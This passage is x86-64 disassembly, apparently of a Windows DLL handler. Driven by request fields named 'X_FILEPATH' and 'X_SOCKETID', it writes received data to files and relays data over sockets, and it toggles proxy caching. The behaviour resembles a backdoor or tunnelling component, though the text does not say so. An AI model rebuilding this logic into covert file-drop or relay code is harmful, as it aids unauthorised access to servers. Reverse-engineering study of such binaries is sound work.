call fcn.180002300
nop
mov r8, rax
lea rdx, [rsp + 0x1330]
lea rcx, [rsp + 0x1310]
call fcn.180017830
nop
lea rcx, [rsp + 0x1df0]
call fcn.1800092b0
nop
lea rcx, [rsp + 0x1310]
call fcn.1800092b0
nop
lea rcx, [rsp + 0x1330]
call fcn.1800092b0
lea rdx, str.Disable_Proxy_Cache
lea rcx, [rsp + 0x6a0]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0xc8]
call fcn.180007ae0
nop
lea rcx, [rsp + 0xc00]
jmp 0x1800053d7
jle 0x18000739e
mov dword [0x180059a08], eax
lea rdx, [0x18004d1a8]
lea rcx, [rsp + 0x1370]
call fcn.180009360
nop
lea rdx, str.Common
lea rcx, [rsp + 0x1350]
call fcn.180009360
nop
mov edx, dword [0x180059a08]
lea rcx, [rsp + 0x1e30]
call fcn.180002300
nop
mov r8, rax
lea rdx, [rsp + 0x1370]
lea rcx, [rsp + 0x1350]
call fcn.180017830
nop
lea rcx, [rsp + 0x1e30]
call fcn.1800092b0
nop
lea rcx, [rsp + 0x1350]
call fcn.1800092b0
nop
lea rcx, [rsp + 0x1370]
call fcn.1800092b0
xor ecx, ecx
call fcn.18002070c
movsxd rcx, dword [0x180059a08]
add rcx, rax
mov qword [0x180059ad8], rcx
lea rdx, str.Enable_Proxy_Cache
lea rcx, [rsp + 0x6c0]
jmp 0x1800072b5
lea rcx, [rsp + 0xc8]
jmp 0x1800079ea
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FILEPATH
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je case.0x180006267.102
mov rdx, rax
lea rcx, [rsp + 0xf90]
call fcn.180001c10
nop
cmp qword [rsp + 0xfa0], 0
jne 0x1800073f5
lea rcx, [rsp + 0xf90]
call fcn.180001c80
jmp case.0x180006267.102
lea rdx, [rsp + 0xf90]
lea rcx, [rsp + 0x11f0]
call fcn.1800154e0
nop
lea rcx, [rsp + 0x11f0]
call fcn.180009270
mov rcx, rax
xor edi, edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov esi, 2
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov dword [rsp + 0x88], edi
cmp rax, 0xffffffffffffffff
je 0x1800074b0
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x1800074b0
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0x1e70]
call fcn.180015030
or r13d, 0x10
mov rcx, rax
call fcn.180001bf0
mov rdx, rax
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x88]
mov r8d, dword [rsp + 0xc10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1800074b3
mov dil, 1
test r13b, 0x10
je 0x1800074c6
lea rcx, [rsp + 0x1e70]
call fcn.180001c80
test dil, dil
je 0x1800075fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x1f50]
call fcn.1800022c0
mov rdi, rax
mov edx, ebx
lea rcx, [rsp + 0x1f30]
call fcn.1800022a0
mov rbx, rax
lea r8, [rsp + 0xf90]
lea rdx, str.Write_file
lea rcx, [rsp + 0x1f10]
call fcn.18000cc80
nop
lea r8, str._error___handle
mov rdx, rax
lea rcx, [rsp + 0x1ef0]
call fcn.18000cfe0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1ed0]
call fcn.18000d050
nop
lea r8, str._error_number
mov rdx, rax
lea rcx, [rsp + 0x1eb0]
call fcn.18000cfe0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x6e0]
call fcn.18000d050
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x1eb0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1ed0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1ef0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1f10]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1f30]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1f50]
call fcn.180001c80
nop
lea rcx, [rsp + 0x11f0]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xf90]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc00]
call fcn.180001c80
jmp 0x18000574e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rsp + 0x88]
lea rcx, [rsp + 0x1ff0]
call fcn.1800022c0
mov rbx, rax
mov rdx, qword [rsp + 0xc10]
lea rcx, [rsp + 0x1fd0]
call fcn.1800022e0
nop
mov r8, rax
lea rdx, str.Received_file_length:
lea rcx, [rsp + 0x1fb0]
call fcn.18000cd80
nop
lea r8, str._Write_length:
mov rdx, rax
lea rcx, [rsp + 0x1f90]
call fcn.18000cfe0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x700]
call fcn.18000d050
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x1f90]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1fb0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1fd0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1ff0]
jmp 0x1800075c9
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, rdi
call qword [rax + 0x18]
mov qword [rsp + 0x60], rax
test rax, rax
je case.0x180006267.102
xor edi, edi
mov qword [rsp + 0x50], rdi
mov ebx, edi
mov rdx, rax
lea rcx, [rsp + 0x1390]
call fcn.180001c10
nop
lea rcx, [rsp + 0x1390]
call fcn.180002220
movsxd rsi, eax
mov qword [rsp + 0x50], rsi
lea rcx, [rsp + 0x1390]
call fcn.180001c80
mov r15d, edi
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0xdf0]
call fcn.180009650
nop
cmp ebx, 0x5dc
jge 0x180007947
lea rcx, [rsp + 0xdf0]
call fcn.180001bf0
mov rdx, rax
xor r9d, r9d
mov r8d, dword [rsp + 0xe00]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x180007845
nop dword [rax]
cmp ebx, 0x5dc
mov edi, 0
jge 0x180007947
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
lea edx, [rax - 0x2733]
cmp edx, 1
jbe 0x180007833
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, edi
lea rcx, [rsp + 0x2030]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Send_failed_error:
lea rcx, [rsp + 0x720]
call fcn.18000cd80
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x2030]
call fcn.180001c80
nop
lea rcx, [rsp + 0xdf0]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc00]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb60]
call fcn.180001c80
mov eax, 2
jmp 0x180007a29
mov ecx, socket
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
jmp 0x180007770
test eax, eax
jne 0x180007859
lea ecx, [rax + 0x14]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
jmp 0x180007734
jle 0x180007734
mov ebx, edi
movsxd r8, eax
cmp r8, qword [rsp + 0xe00]
jb 0x180007909
lea edx, [rax + r15]
lea rcx, [rsp + 0x2070]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.send_length:
lea rcx, [rsp + 0x740]
call fcn.18000cd80
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x2070]
call fcn.180001c80
nop
lea rcx, [rsp + 0xdf0]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc00]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb60]
call fcn.180001c80
mov eax, 2
jmp 0x180007a29
add r15d, eax
or r9, 0xffffffffffffffff
lea rdx, [rsp + 0x2090]
lea rcx, [rsp + 0xdf0]
call fcn.1800093f0
mov rdx, rax
lea rcx, [rsp + 0xdf0]
call fcn.180009600
lea rcx, [rsp + 0x2090]
call fcn.180001c80
jmp 0x180007734
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x20d0]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Send_timeout__error:
lea rcx, [rsp + 0x760]
call fcn.18000cd80
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x20d0]
call fcn.180001c80
nop
lea rcx, [rsp + 0xdf0]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc00]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb60]
call fcn.180001c80
mov eax, 2
jmp 0x180007a29
call fcn.180007ae0
nop
lea rcx, [rsp + 0xc00]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb60]
call fcn.180001c80
xor eax, eax
mov rcx, qword [rsp + 0x3150]
xor rcx, rsp
call fcn.18001a580
lea r11, [rsp + 0x3160]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret